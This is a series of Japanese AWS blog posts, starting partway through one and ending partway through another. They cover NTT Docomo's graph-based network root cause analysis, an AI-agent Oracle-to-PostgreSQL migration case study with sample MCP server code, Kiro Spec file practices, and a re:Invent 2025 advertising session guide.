9. 現在の構成と将来の拡張を含む NTT ドコモの HLD ソリューションアーキテクチャ図 次のスクリーンショットは、Tom Sawyer Perspectives を使用して MVP として構築された NTT ドコモの オペレータ向け WebUI ダッシュボードです。MVP の詳細については、Mobile World Congress 2025 で展示されたデモ動画をご覧ください。 図 10. Neptune Analytics のグラフアルゴリズムを使用して、被疑箇所が特定された様子を示す WebUI RCA (Root Cause Analysis) 領域における科学的な観点とグラフデータの台頭 4つの Runbook とナレッジレイヤーを備えた、AWS 上のエージェント型 AI 搭載グラフベース RCA の概要を説明しました。次に、このアプローチがネットワーク根本原因分析（RCA）の幅広い科学的進化とどのように整合しているかを示します。以下のタイムラインは、RCA がグラフ中心の手法を段階的に採用してきた背景を示しており、最先端技術を抜粋しています。モバイルおよびソフトウェアネットワークの根本原因分析（RCA）は、グラフデータを中心に4つのフェーズを経てきました。 アラーム相関時代 （ 2011 ～ 2014 年） – 階層的なアラームデータのグラフにより、数万件もの生のアラームが数分以内に単一の因果関係の連鎖に集約されました。 セルフモデリング時代 （ 2015 ～ 2017 年） – ソフトウェアデファインドネットワーク（ SDN ）またはネットワーク機能仮想化（ NFV ）コントローラからリアルタイムに生成される依存関係を表すグラフによって、30 秒未満で 95 %の精度で障害を特定できるようになりました。その後、オンラインベイジアン重み付け ( Online Bayesian weighting ) により、 スタティックルール と比較して誤検知が約 30 % 削減されました。 ログマイニングと説明可能な機械学習（ ML ）時代（ 2020 年）：有向区間グラフ – 有向非巡回グラフ（ DIG – DAG ）構造は、第 4 世代（ 4G ）および第 5 世代（ 5G ）のアラームをクエリ可能な 因果関係を表すサブグラフ にストリーミングしました。 Ericsson は、SHAP（ SHapley Additive exPlanations ）と勾配ブースティングを組み合わせて、スライスのサービスレベル契約（ SLA ）違反の背後にある主要業績評価指標（ KPI ）パスを明らかにしました。 ディープグラフラーニング時代（ 2022 ～ 2024 年）：グラフ構造学習グラフニューラルネットワーク（ GNN ）は、 隠れたセル間のリンクを推定 し、メトリクスが欠落している場合の F1 スコアを 15 % 向上させました。 ディープラーニングによるオートエンコーダ では、産業用 IoT（ IIoT ）アプリケーションにおいて異常を 1 秒未満のレイテンシで特定しました。 最新の GNN-Transformer hybrid では、数千の 5G セルにわたる時空間パターンを捉え、テストケースにおいて初回の推論で 90 % 以上の確率で根本原因を特定しています。 今後の展望 本記事では、グラフデータと Agentic AI を活用した Network Digital Twin ソリューションについてご紹介しました。リアルタイムなネットワークトポロジー、アラーム、KPI が格納された Amazon Neptune データ基盤レイヤーについてもご説明しました。このソリューションには、基本的なアラーム相関分析から KPI 予測まで、4つの Runbook が用意されており、それぞれ専門の Agentic AI による RCA が実行されます。今後の展望は以下のとおりです。 より詳細な技術ブログの更改：近日中に実装方法を記述したブログを 4 本公開予定です。各ブログでは、ネットワークシナリオとコードのサンプルを含む 1 つの Runbook を取り上げ、実用的な導入方法をご紹介します。 NTT ドコモにおける商用運用への導入：運用チームとの連携を継続し、新機能の追加や、他のネットワークドメインおよびサービスレイヤーへの拡張を進めています。 パートナーシップの拡張：現在、複数のお客様およびパートナーと連携し、根本原因分析、サービス影響の評価、変更管理のための Digital Twin リューションを開発しています。 AWS での RCA およびサービス影響の評価のためにグラフデータを活用した Network Digital Twin に関する過去の顧客事例については、以下のサイトを参照ください: – Networks for AI and AI for Networks: AWS and Orange’s Journey – DOCOMO- Network digital twin as a graph: powered with generative AI – re:invent 2024 with Orange, Generative AI–powered graph for network digital twin – Telenet Belguim/LG, Celfocus and AWS- Network operations powered by network digital twin Dr. Imen Grida Ben Yahya Imen は、 AWS のプリンシパル AI/ML スペシャリストです。ネットワーク（可観測性、根本原因分析、レコメンデーションシステム、クローズドループシステム）に適用するクラウドネイティブな機械学習/ディープラーニング/生成 AI パイプラインの設計と構築に携わり、60 本以上の機械学習/ディープラーニングに関する科学論文を執筆しています。パリ工科大学テレコム・シュッドパリ校で、ネットワークに応用された AI/認知技術の博士号を取得しています。 Brad Bebee Brad は、AWSのディレクターであり、Amazon Neptune（マネージドグラフデータベース）と Timestream（マネージド時系列データベース）の ジェネラルマネージャーも務めています。グラフと時系列は素晴らしいものであり、ユーザーにとってデータ内の関係性を利用して洞察を得るのに役立つと考えています。2016 年にAWSに入社する前は、ワシントンD.C.を拠点とし、Blazegraph の CEO を務め、Blazegraph プラットフォームのオープンソースへの積極的な contributor&nbsp;として活躍していました。 Naveen Kumar H M Naveen は、コンテナソリューションとクラウドネイティブアーキテクチャを専門とする DevOps コンサルタントです。コンテナ化の専門知識を活かし、組織がスケーラブルなインフラストラクチャを導入できるよう支援しています。現在は通信事業者向けに、従来のインフラストラクチャと AI イノベーションを組み合わせた 生成 AI アプリケーションを開発しています。 宮崎 友貴&nbsp; Yuki Miyazaki Yuki は、AWS の日本の通信事業者向けソリューションアーキテクトです。通信事業者が AWS を活用して通信業界を再定義する革新的なソリューションを構築する支援をしています。主に、OSS および 5G コアの移行とモダナイズ、そして AWS サービスを活用した Autonomous Network の推進をリードしています。 前島 一夫 NTTドコモにおいて、通信ネットワークの運用の自動化・可視化の責任者を務めています。 20 年以上にわたり、NTT ドコモのネットワーク設備の企画・構築、組織設計、技術者育成に携わってきました。 今井 識 NTTドコモにおいて、通信ネットワークサービスの監視と可観測性を担当する DevOps チームのマネージャー兼テクニカルリードを務めています。OpenStack ベースのプライベートクラウド開発、SIP AS およびメディアサーバー仮想化のための MANO 統合、3G/4G/5G ネットワ​​ークにおけるユーザーエクスペリエンス向上のための TCP 最適化など、通信ネットワークの開発経験を有しています。 &nbsp;

本ブログは三菱電機ビルソリューションズ株式会社様と Amazon Web Services Japan 合同会社が共同で執筆しました。 多数のシステム群のクラウド移行を検討されている三菱電機ビルソリューションズ様の実際の課題と、生成 AI を活用した解決策を共有することで、同様の課題に直面している企業の皆様にとって参考となれば幸いです。 三菱電機ビルソリューションズが直面したDB移行の課題 企業のデジタルトランスフォーメーションが加速する中、三菱電機ビルソリューションズでもクラウド化に向けた活動を推進しています。その取組みの一つとして、オンプレミスの Oracle Database からクラウドネイティブな Amazon Aurora PostgreSQL への移行を検討しています。 データベース移行には、スキーマ変換、データ移行、アプリケーションコードの修正など、多岐にわたる作業が必要になります。 このうち、スキーマ変換については、 AWS Database Migration Service Schema Conversion (AWS DMS SC) や AWS Schema Conversion Tool (AWS SCT) が強力な支援ツールとして機能します。これらのサービスはテーブル定義、インデックス、ビューなどの多くのデータベースオブジェクトを自動的に PostgreSQL の形式に変換でき、移行プロジェクトの効率化に大きく貢献しています。 しかし、 すべてのデータベースオブジェクトが自動変換できるわけではありません。 特に、複雑なビジネスロジックを含む PL/SQL で書かれたストアドプロシージャやファンクション、パッケージなどは、Oracle Database 固有の機能や構文を多用しているため、AWS SCT でも完全な自動変換が困難なケースが存在します。 三菱電機ビルソリューションズにおける今回の取組みでは、AWS SCT で自動変換できないオブジェクトの変換だけで約200人月の工数が必要と見積もられており、移行プロジェクトのボトルネックとなっていました。 そこで三菱電機ビルソリューションズと AWS 生成 AI イノベーションセンター は共同で、Amazon Bedrockを活用した生成 AI エージェントによるコード変換ソリューションの検証を実施しました。 検証の過程で複数のソリューションを開発しましたが、その中で本ブログでは汎用性の高い Amazon Bedrock と Strands Agents を活用した生成 AI エージェントによる変換ソリューション をご紹介します。このソリューションにより、PL/SQL オブジェクトの自動変換を実現し、移行プロジェクトを大幅に効率化できました。 Strands Agents + 専用ツール群による包括的アプローチ 今回私たちが開発したソリューションでは、Strands Agents に実際のデータベース操作や変換作業に必要な具体的なツール群を提供することで、生成 AI によるデータベースオブジェクトの変換を可能にしています。また、コード変換だけでなく、基本的なテストケースの自動生成と結果比較の機能も組み込むことで、変換品質の向上を図っています。 従来の「コード生成のみ」のアプローチと異なり、このソリューションはテスト用のデータベース環境での基本的な動作確認まで自動化しています。これにより、単なる構文変換レベルを超えた「基本動作確認済みの変換」を実現し、移行後の品質リスクを軽減しています（ただし、これらの自動テストは網羅的ではなく、本番環境への適用前には人間の専門家による追加検証が必要です）。 次に、具体的なエージェントの仕組みを説明します。 提供ツール群の詳細 AI エージェントには主に下記の３種類のツール（MCP サーバー）を与えています。エージェントはプロンプトで指示された作業フローと、実際の作業状況を踏まえて、いつどのツールを利用するか柔軟に判断します。 1. データベース接続・操作ツール Oracle Database 接続ツール : 対象オブジェクトの DDL 取得、依存関係確認、テスト実行 PostgreSQL 接続ツール : 変換後 DDL の投入、構文チェック、テスト実行 2. ファイル操作ツール ファイル読み書きツール : DDL、テストコード、実行結果の保存・読み込み 3. システム実行ツール シェルスクリプト実行ツール : 複雑なデータベース操作やバッチ処理の実行 こちらは Strands Agents によるエージェント実装のサンプルコードです。ファイル操作ツールは Strands Agents Tools ライブラリで提供されています。また、データベース接続・操作ツールとシステム実行ツールは自作の MCP サーバーを利用しています。 import json from mcp import StdioServerParameters from mcp.client.stdio import stdio_client from strands import Agent from strands.tools.mcp import MCPClient from strands_tools import file_read, file_write from utils.callbacks import AgentCallbackHandler from prompts.prompts import get_system_prompt def load_mcp_config(): """MCP設定ファイルを読み込み""" with open("mcp.json", "r") as f: return json.load(f) def create_mcp_client(): """MCP クライアントを作成""" config = load_mcp_config() server_config = config["mcpServers"]["sql-converter"] return MCPClient( lambda: stdio_client( StdioServerParameters( command=server_config["command"], args=server_config["args"], env=server_config.get("env", {}), ) ) ) def create_agent(mode="db_object"): """エージェントとMCPクライアントを初期化""" system_prompt = get_system_prompt(mode) mcp_client = create_mcp_client() with mcp_client: mcp_tools = mcp_client.list_tools_sync() all_tools = [file_read, file_write] + mcp_tools agent = Agent( system_prompt=system_prompt, tools=all_tools, callback_handler=AgentCallbackHandler() ) return mcp_client, agent こちらは Oracle Database に接続するツールを提供する MCP サーバーのサンプルコードです。 FastMCP で MCP サーバーを作成し、@mcp.tool() で定義した run_ora_sql 関数を Strands Agents から呼び出せるツールとして公開しています。 内部では python-oracledb ドライバを使って Oracle Database に接続し、SQL クエリを実行、結果を取得しています。 from mcp.server.fastmcp import FastMCP import oracledb mcp = FastMCP("sql-converter") @mcp.tool() def run_ora_sql(sql): """ Execute SQL query on Oracle database. Args: sql (str): SQL query to execute on the Oracle database. Returns: list: Query execution results from the Oracle database. """ return oracle_execute(sql) def oracle_execute(sql): """ Execute SQL query on Oracle database. Args: sql (str): SQL query to execute on the Oracle database. Returns: list: Query execution results from the Oracle database. """ logger.info(f"Executing: {sql}") response = execute_query(sql) logger.info("Query completed") return response def execute_query(sql): """ Execute SQL query on Oracle database. Args: sql (str): SQL query to execute Returns: list: Query execution results Raises: Exception: If query execution fails """ credentials = get_db_credentials() connection = None cursor = None try: connection = oracledb.connect( user=credentials["user"], password=credentials["password"], dsn=credentials["dsn"], ) cursor = connection.cursor() cursor.execute(sql) (以下省略) 変換・検証の流れ これらのツールを用いて、エージェントは以下の包括的な処理を自動実行できます。 Phase 1: Oracle Database 環境での分析・テスト Oracle Database に接続し、対象オブジェクトのDDLを取得 依存関係（パッケージ、関数、型など）を確認 Oracle Database でのテストデータ作成とテストコード生成 Oracle Database 環境でテスト実行し、結果を記録 Phase 2: PostgreSQL 変換・検証 PostgreSQL に依存関係が定義されているか確認 Oracle Database のDDLを PostgreSQL に変換 PostgreSQL 環境で構文チェックとオブジェクト作成 Phase 3: 品質確保・結果比較 PostgreSQL 環境でのテストデータ・コード生成 同一テストケースでの PostgreSQL 実行 Oracle Database 実行結果との詳細比較・検証 差異分析と最終的な成功/失敗判定 技術的工夫ポイント 1. AWS DMS SC による変換結果利用 生成AIは強力なツールですが、すべてのタスクを任せる必要はありません。PostgreSQL にテーブルが定義されていない場合でも類推してテーブルを作成することも可能ですが、 AWS DMS SC により Oracle Database から PostgreSQL にテーブルを事前に変換・定義しておくと、より効率よくオブジェクトの変換を進めることができます。 2.マルチエージェントでの責務分割 シンプルなデータベースオブジェクトであれば1つのエージェントですべての手順を正しく実行できますが、より複雑で長いコードになると単一エージェントでは処理能力の限界が見られました。具体的には、一部の実装を簡略化したり、無意味なテストを作成してしまうなどの問題が見られました。 この問題を解決するため、以下の3つのエージェントによる分業体制を検討しました。 Oracle 検証エージェント ：Oracle Database でのテスト作成と実行を担当 PostgreSQL 変換エージェント ：Oracle DDL から PostgreSQL への変換とシンタックスチェックを担当 PostgreSQL 検証エージェント ：変換後の PostgreSQL コードに対するテスト作成・実行とテスト結果の比較を担当 この分業アプローチにより、各エージェントが専門領域に集中できるようになり、変換の精度と効率を改善することができました。 3.段階的な変換 移行対象のオブジェクトの中にはコード行数が数千行にも及ぶ巨大なプロシージャやパッケージも含まれました。 このようなオブジェクトについては、全体をまとめて変換するのではなく、機能的なまとまり（内部プロシージャ・関数など）ごとに変換することで、変換の精度を改善することができました。 別のアプローチ プロジェクト初期段階では、生成 AI にコード変換やテスト生成を担わせつつ、全体のワークフローは決定的に定義するアプローチも検討しました。固定ワークフローは、特定のデータベース環境や移行パターンに最適化すれば、処理速度や動作の確実性の面でエージェントより優れた結果が得られる可能性があります。 一方で、依存関係の処理、コード変換、テスト生成・実行、エラー発生時のリトライといった複雑なフローを正確に作り込むには多くの開発工数がかかります。また、プログラムが複雑化するとメンテナンス性の課題も生じます。 検討の結果、三菱電機ビルソリューションズのプロジェクトでは多様なデータベースオブジェクトへの対応力と将来的な拡張性を重視し、エージェント型アーキテクチャを活用していく方針となりました。 生成AIによる変換結果 私たちが開発した生成 AI による変換ソリューションにより、 AWS SCT による自動変換が不可だったオブジェクトのうち約90％を AI エージェントにより自動変換 できました。また、簡易的にではありますが、Oracle Database と PostgreSQL においてテストを実行し結果の合致を確認することで、一定の動作確認もできました。AI エージェントの利用により、データベースオブジェクトの変換が大幅に効率化できることを示しています。 ただし、生成 AI を活用したコード変換に際しては、ハルシネーションのリスクに留意した上で、従来の手動変換と同様、 十分なテスト期間を設けた網羅的なテスト実施が重要 です。全てのプロシージャや SQL 等が生成 AI で変換できる訳ではないことを念頭に、生成 AI で変換された SQL で正しい結果が得られるか、性能面で要件を満たせるか別途確認する必要があります。 今回の検証結果を受けて、三菱電機ビルソリューションズでは今後の移行プロジェクトにおいても、AIエージェントの活用を検討しています。 なお、今回ご紹介したエージェントのサンプルコードは こちらのGitHubリポジトリ で公開しているので、ぜひ試してみてください。 著者について 岡本 正義 三菱電機ビルソリューションズ株式会社 木田 悠歩 アマゾンウェブサービスジャパン合同会社, Generative AI Innovation Center, Deep Learning Architect 呉 和仁 アマゾンウェブサービスジャパン合同会社, シニア自動車製造ソリューションアーキテクト

こんにちは！ AWS でソリューションアーキテクトをしている鈴木です。 本ブログは Kiroweeeeeeek ( X: #kiroweeeeeeek ) の第 8 日目です。昨日のブログはしょぼちむさんの「 イベントストーミングから要件・設計・タスクへ。Kiro を活用した仕様駆動開発 」という内容でした。 本記事では、Kiro において中核をなす「Spec ファイル」の負債にならないための扱い方をお伝えします。なお、Kiro の一般提供に関しての総合的な情報は「 Kiro が一般提供開始: IDE とターミナルでチームと共に開発 」をお読みください。 Spec ファイルの概要 本題に入る前に Spec ファイルの概要と Spec ファイルによって開発者が得られる恩恵について記述します。 Kiro の Spec ファイルは「仕様駆動開発」を構成する要素です。仕様駆動開発とは、仕様を起点として設計・実装を進める開発手法で、仕様と実装の同期を保ちながら開発を進めることができます。 Spec ファイルは以下の 3 つのファイルで構成されています。 requirements.md：EARS (Easy Approach to Requirements Syntax) 記法での要件 design.md：構造やデータフローなど実装方針 tasks.md：要件と設計を基に Kiro が生成する実装タスク群 Kiro は Spec モードでの対話の中で、初めに requirements.md で要件を定義し、そこから design.md で実装方針や設計を作成し、最後に tasks.md で実装のためのタスクを作成していきます。そうして出来た tasks.md 内のタスクに沿ってコードを生成・更新していくことで実際に実装がされていく流れです。 このような形式を取ることで Kiro は仕様と実装の間で同期を保つことができます。これにより「仕様書の更新漏れ」や「仕様書と実装のイメージの乖離」といった問題を起こすことなく継続的に開発が可能です。 しかしながら正しく Spec ファイルを扱わないと上記のメリットを十分に享受することができず、むしろ負債になる可能性があります。今回は「Spec ファイルの切り方」「Spec ファイルの更新方法」「Spec ファイルの共有方法」の 3 つの視点から、負債にならないための工夫をお伝えします。 Spec ファイルの切り方 機能ごとに分離する Kiro を使う中で負債になりがちな行為として、「プロジェクト全体を一つの大きな Spec ファイルで管理しようとする」というものが挙げられます。EC サイトの例を元に考えてみましょう。EC サイトは確かに一つのアプリケーションですが、その中では複数の機能、用途が組み合わさって構成されています。これらをすべて「EC サイト」という一つの Spec ファイルにまとめてしまうと、 記載されている内容が多くなり、可読性が落ちる。 チームで開発する上でコンフリクトが生じやすくなり、開発のストレスが増大する。 特定機能を更新したいだけなのに、Spec ファイル全体に影響が波及してしまう。 などの問題が生じてしまい、結果として Spec ファイルが機能しなくなり、Spec ファイルの内容と実装の間で同期が保たれなくなる危険性があります。そのため Kiro では巨大な一つの Spec ファイルを作成するのではなく、複数の Spec ファイルを機能ごとに作成することを推奨しています。 例えば EC サイトの場合、以下のように機能ごとに Spec ファイルを切ることが出来ます。 .kiro/specs/ ├── user-authentication/ # ログイン, サインアップ, パスワードの変更 ├── product-catalog/ # 商品のリスティング, 検索, フィルタリング ├── shopping-cart/ # カートに追加, 数量の更新, 会計 ├── payment-processing/ # Payment gateway の統合, 注文の確認 └── admin-dashboard/ # 商品の管理, 顧客分析 切り方の粒度や観点には正解はないので、ご自身のアプリケーション要件やチームの状況、アーキテクチャ設計に応じて柔軟に決定いただくのが良いかと思います。 切り方については Kiro と Vibe モードを利用して、壁打ちをしながら進めていくことも可能です。初めに Kiro と会話をしながら要件を固めて「この固まった要件で機能ごとに Spec ファイルを分けてくれますか？」と聞いてみると添付の画像のように案を出してくれます。 Spec ファイルの更新 Spec ファイルは一度作って終わりではなく、定期的なメンテナンスが前提になっています。要件が追加されたり、設計方針が変わった場合は、Spec ファイルを更新することで Kiro が生成するタスクやコードにも変更を反映しましょう。注意点として、要件の変更があった場合に Spec ファイルに変更を適応しないで Vibe モードや手動でコードの変更を行うことは避けるべきです。Kiro のメリットである「仕様と実装の間で同期」が崩れてしまうためです。 requirements.md から変更を適応する 要件の追加・削除・修正があった場合は、以下のフローでコードの変更を行います。 要件の更新 ：requirements.md ファイルを直接修正するか、Spec モードを開始して Kiro に新しい要件や設計要素を追加するよう指示します。 設計の更新 : 仕様の design.md ファイルに移動し、「Refine」を選択します。この操作により、設計ドキュメントと関連するタスクリストの両方が、修正された要件を反映して更新されます タスクの更新 : tasks.mdファイルに移動し、「Update tasks」を選択します。これにより、新しい要件に対応する新しいタスクが作成されます。 タスクの実装 : 3 のプロセスで追加、修正されたタスクを実行することでコードに変更を適応する。 このように更新を行なっていくことで、「要件 → 設計 → タスク → 実装」の一貫性が保たれ、要件変更による「設計だけ古くなる」「タスクだけ古い」といったズレが発生しにくくなります。 Vibe から Spec に適応する 要件が変更された際には requirements.md から変更を適応するべきだということをお話ししましたが、実際に実装をしてみてから仕様を決定したいというニーズもあるかと思います。例えば、「UI の色味や挙動をみてから変更したい」などのボトムアップな実装を行いたい場合などです。 また、LLM との雑談ベースでの会話やブレインストーミングで整理した機能案から仕様を作成したいといったニーズもあるかと思います。そのような場合は、Vibe モードで実装してから Spec ファイルへの自動生成・適応することができます。 Kiro の Vibe モードをまずは立ち上げ、その中で会話や実装を行います。その後、Kiroに「ここまでの変更を Spec に変換して」というと、これまでのVibe モードのコンテキストから Spec ファイルを構築することが可能となります。特に実装の初期フェーズでは、言語化が固まりきっていない段階の「思考の断片」を Spec に落とし込める点が非常に便利です。 Spec ファイルの共有 Spec ファイル はバージョン管理を行なう Spec ファイルはバージョン管理することが推奨されています。バージョン管理することで、実装と実装意図をまとめて管理することが可能となります。 また、バージョン管理することでチーム間での無駄なコミュニケーションを減らすことも可能となります。例えばフロントエンドチームがバックエンドチームの実装意図を知りたい場合、従来であれば開発者に聞くか仕様書を探索する必要がありました。バージョンを管理すれば、Kiro に実装の意図を聞くだけで Spec ファイルを参照して答えてくれます。 また、コードに対するレビューと同じように、Spec に対してもレビューを行うことで、 要件の解釈がチーム内でズレない 設計方針の合意形成が早い 誤った前提でコードが実装されるリスクを軽減できる といったメリットを受けることが出来ます。さらに、Spec ファイルがバージョン管理されていれば、その機能の背景や意図を理解しながらレビューでき、「なぜこの実装なのか？」という議論がスムーズになります。 アプリケーションを跨ぐ仕様は共有する 複数のアプリケーションを並行して開発している場合、認証部分の仕様などを共通化させたいニーズがあるかと思います。 そういった場合に、それぞれのアプリケーションごとに個別の Spec ファイルを作ってしまうと、本来共通であるべき仕様がアプリ間で徐々にズレていくという問題が発生します。 片方のアプリだけ認証フローを更新し、もう片方が古い仕様のまま残ってしまったり、エッジケースの扱いがアプリによって微妙に異なってしまったりと、どれが正しい仕様なのかが分からない状態になりやすいのです。 そこで重要なのが、共通仕様は 1 つの Spec ファイルとして切り出して共有するというアプローチです。 認証認可、決済、プロフィール設定など、複数アプリで跨って利用する部分は 専用の Spec リポジトリにまとめておくことで、 仕様の更新が 1 箇所で完結する アプリ間の仕様のズレを防げる チーム間の前提が揃い、開発スピードが落ちない といったメリットが得られます。Git Submodule などを用いることで複数プロジェクトから参照可能です。 添付画像は Git Submodule を用いて共通の Spec ファイルとアプリケーション固有の Spec ファイルを管理する例です。共通の Spec ファイルは /shared の下にアプリケーション固有の Spec ファイルは /local の下に配置することで実現しています。 共通仕様は 1 箇所で定義し、複数アプリがそれを参照するという構造を作ることで、仕様の一貫性を保ちつつ、長期的に負債化しづらい開発体制を維持できます。 まとめ 本記事では、Kiro の Spec ファイルを負債にしないための 3 つのポイントを解説しました。 ３つのポイントを振り返ると、以下のようになります。 Spec ファイルの切り方：プロジェクト全体を一つの巨大な Spec ファイルで管理せず、機能ごとに分けることで可読性とメンテナンス性を向上させる。 Spec ファイルの更新：要件変更時は requirements.md → design.md → tasks.md → 実装の順での更新、もしくは Vibeモードから都度 Spec ファイルへの変換を行うことで、仕様と実装の同期を保つ。 Spec ファイルの共有：バージョン管理によりチーム内で Spec ファイルを共有することで実装と実装意図をまとめて管理できる。また、複数アプリ間の共通仕様は専用リポジトリで一元管理することでアプリ間の仕様のズレを防ぐことができる。 これらを実践していくことで Spec 機能の効果を最大限発揮することができ、Kiro がチーム開発における強力ツールとして力を発揮していくことができるかと思います。皆さんは Spec ファイルの扱いでどのような工夫をされていますでしょうか？是非、 X 上で #kiroweeeeeeek をつけて教えていただければと思います！ 鈴木 智貴 (Tomoki Suzuki) アマゾンウェブサービスジャパン合同会社 ソリューションアーキテクト 2025 年に新卒で入社した 1 年目の SA。大学時代に薬局向けのスタートアップで CTO を経験。好きなサービスは Kiro。好きなドラマは『SPEC ～警視庁公安部公安第五課 未詳事件特別対策係事件簿～』。 LinkedIn:&nbsp; https://www.linkedin.com/in/tomoki-suzuki-7a8457277/ X:&nbsp; https://x.com/tomozooooooonn?s=21

本記事は 2025 年 11 月 20 日に公開された Anthony Hayes による “ Your guide to AWS Advertising &amp; Marketing Technology at re:Invent 2025 ” を翻訳したものです。 AdTech のイノベーター、広告代理店の経営者、MarTech の開発者、データサイエンティストの皆様、 Amazon Web Services (AWS) re:Invent 2025 &nbsp;は、クラウドを活用した広告・マーケティングテクノロジー (AMT) の変革力を探求する前例のない機会をもたらします。ラスベガスで開催される re:Invent 2025（12月1日～5日）にご参加いただき、顧客エンゲージメントの未来、データドリブン戦略、そして広告・マーケティングのイノベーションを解き放つ最先端の人工知能ソリューションについて Dive Deep し、知識・インスピレーション・ネットワーキングの世界をお楽しみください。 AI エージェントの最新イノベーションと、それが広告・マーケティングワークロードをどのように革新しているかをご覧ください。このブログ記事には、ネバダ州ラスベガスでの時間を最大限に活用するために、AWS 広告・マーケティングテクノロジーチームから直接提供されたヒントが満載です。最も重要なのは、広告・マーケティング業界の参加者に最も関連性が高いと考えられる、厳選されたブレイクアウトセッションとテクニカルセッションのリストをご確認ください。 はじめよう このブログ記事のリソースを厳選し、成功するアジェンダの計画をお手伝いします。また、広告・マーケティングテクノロジー向けのAWS re:Invent 参加者ガイド をダウンロードして、計画にお役立てください。AWS のソリューション、サービス、パートナーについて業界の専門家から直接学び、技術的な質問にその場で回答を得て、最新情報に即座にアクセスでき、そして何よりも、学びながら楽しむことができます。 AWS AMT ブログ と AWS re:Invent ウェブサイト をチェックして、re:Invent での広告・マーケティングテクノロジーに関する最新情報を入手してください。 参加登録 をして席を確保し、iOS または Android 用の AWS Events モバイルアプリ をチェックして、体験を計画し最大限に活用しましょう。 re:Invent が初めての方へ： re:Invent キーノートで、今年最も重要な AWS の発表について学ぶ準備をしましょう。 ブレイクアウトセッションは講義形式で 1時間です。これらのセッションは re:Invent キャンパス全体で開催され、あらゆるレベル（200～400）のあらゆる種類のトピックをカバーします。 チョークトークは、AWS の専門家との 60 分間のインタラクティブな少人数制のホワイトボードセッションです。実際のアーキテクチャの課題に関する技術的な議論が含まれます。 ライトニングトークは、100～300 レベルの重要なトピックをカバーする 20 分間のセッションです。 ワークショップは 2 時間のハンズオンセッションで、小グループで AWS サービスを使用して問題を解決します。 ビルダーズセッションは、少人数制のインタラクティブな 1時間のデモンストレーションです。各ビルダーズセッションは、参加者が構築する内容についての AWS 専門家による短い説明またはデモンストレーションから始まります。デモンストレーションが完了すると、参加者は自分のラップトップを使用して、ガイダンスを受けながら実験と構築を行います。 メインキーノート 最大のAWSローンチと業界インサイトを特集する、これらの必見の キーノート をお見逃しなく： 2025年12月2日（火） 8:00 AM – 10:30 AM: CEO Keynote with Matt Garman 2025年12月3日（水） 8:30 AM – 10:30 AM: The Future of Agentic AI is Here with Dr. Swami Sivasubramanian, VP of Agentic AI at AWS 3:00 PM – 4:30 PM: The Partnership Advantage with Dr. Ruba Borno, VP of Global Specialists and Partners at AWS 2025年12月4日（木） 9:00 AM – 10:30 AM: Infrastructure Innovations with Peter DeSantis, SVP of Utility Computing, and Dave Brown, VP of Compute and ML Services at AWS 3:30 PM – 4:30 PM: A Special Closing Keynote with Dr. Werner Vogels, CTO of Amazon.com デイリーセッションハイライト 2025年12月1日（月） 月曜日は、本番環境で AI エージェントを大規模に安全にデプロイ・運用するための強力な AI エージェントのセッションでスタートします。ハンズオンワークショップを体験し、エージェント駆動型プロセスが広告キャンペーンやライブ制作ワークフローをどのように変革できるかを学びましょう。 IND319: Building live video understanding solutions using agentic AI on AWS (workshop), Mandalay Bay | 8:00 AM – 10:00 AM IND357: Multi-agent collaboration for optimized advertising performance (chalk talk), Caesars Forum | 9:00 AM – 10:00 AM AIM395: Concept to campaign: Marketing agents on Amazon Bedrock AgentCore (breakout session), Mandalay Bay | 4:00 PM – 5:00 PM 2025年12月2日（火） 火曜日の充実したラインナップは、プライバシー強化 ML、AdTech 関連、実際の顧客事例を特集し、AI 駆動型広告イノベーションに Dive Deep します。 IND304: Transform video highlight production with agentic AI-human collaboration (chalk talk), Wynn | 10:00 AM – 11:00 PM IND309: Breaking down silos: multi-agent architecture for media operations (chalk talk), Wynn | 12:00 PM – 1:00 PM IND311: Build media workflows with natural language using agentic AI (builder’s session), MGM | 12:00 PM – 1:00 PM SPS302: Democratize data: Bundesliga real-time insights without writing any SQL (chalk talk), Caesars Forum | 1:00 PM – 2:00 PM IND3326: Formula 1 extends fandom with AI, data, and AWS Media Services (breakout session), MGM | 1:30 PM – 2:30 PM IND3334: AdTech at AI Speed: Building Dynamic Creative Agents in Five Days (lightning talk), Venetian Industries Pavilion | 3:00 PM – 3:20 PM IND360: Privacy-enhanced ML and GenAI for AdTechs with AWS Clean Rooms (chalk talk), Caesars Forum | 3:00 PM – 4:00 PM 2025年12月3日（水） 水曜日は、Amazon Ads が AI エージェントで広告作成を民主化する方法を紹介し、 AWS RTB Fabric &nbsp;を使用したリアルタイム入札ワークロード、コマースメディアエージェント、クリエイティブ最適化に関するセッションを開催します。 IND3335: Amazon Ads Creative Agent uses AWS to democratize ad creation (breakout session), Wynn | 8:30 AM – 9:30 AM IND397: AI-powered content compliance: Media rating automation with Nova (chalk talk), Caesars Forum | 2:30 PM – 3:30 PM IND411: Build AI Commerce Media Agents: Audience Discovery &amp; Campaign Performance (builder’s session), Mandalay Bay | 4:00 PM – 5:00 PM IND379: AWS RTB Fabric: Real-time bidding workloads with AdTech partners (breakout session), Mandalay Bay | 5:30 PM – 6:30 PM IND312: Build streaming analytics dashboards in minutes with Amazon Q developer (builder’s session), MGM | 5:30 PM – 6:30 PM 2025年12月4日（木） 木曜日は、1桁ミリ秒のレイテンシーでリアルタイム入札ワークロードとプライバシー強化分析を構築するためのハンズオンワークショップを開催します。最先端の AdTech ソリューションの実践的な経験をする良い機会です。 IND366: Build ultra-low latency ad workloads with unmatched cost-performance with AWS RTB Fabric (workshop), Mandalay Bay | 12:00 PM – 2:00 PM IND3309: Privacy-enhanced multi-party analytics with AWS Clean Rooms: Setup to insights (workshop), Mandalay Bay | 3:00 PM – 5:00 PM IND3327: AIOps revolution: How iHeart slashed incident response time by 60% with Bedrock AgentCore (breakout session), MGM | 3:30 PM – 5:30 PM 2025年12月5日（金） 金曜日は、Bloomberg が自然言語クエリとマルチモーダル入力を、 AI を使用してビデオコンテンツに変換する方法をご覧ください。 IND3331: AI at the speed of news: Bloomberg Media’s vision for the future (breakout session), Venetian | 8:30 AM – 9:30 AM デモと特別な展示 The Fragrance Lab –&nbsp;Venetian の Expo Hall で、AI 駆動型イノベーションを実証するユニークなアクティベーションを体験してください。The Fragrance Lab で、Amazon Bedrock の Amazon Nova によって生成されたカスタムフレグランスを開発し、AWS を使用した会話型インサイトを通じてパーソナライズされた広告キャンペーンを作成しましょう。 Sports Forum Live –&nbsp;Formula 1、NFL、NBA、PGA TOUR などのリーダーとのインタビューを特集する、完全に AWS 上でのライブブロードキャスト制作をお見逃しなく。月曜日午後 4時～6時、火曜日～木曜日午後 12時～4時、Caesars Forum（Industries 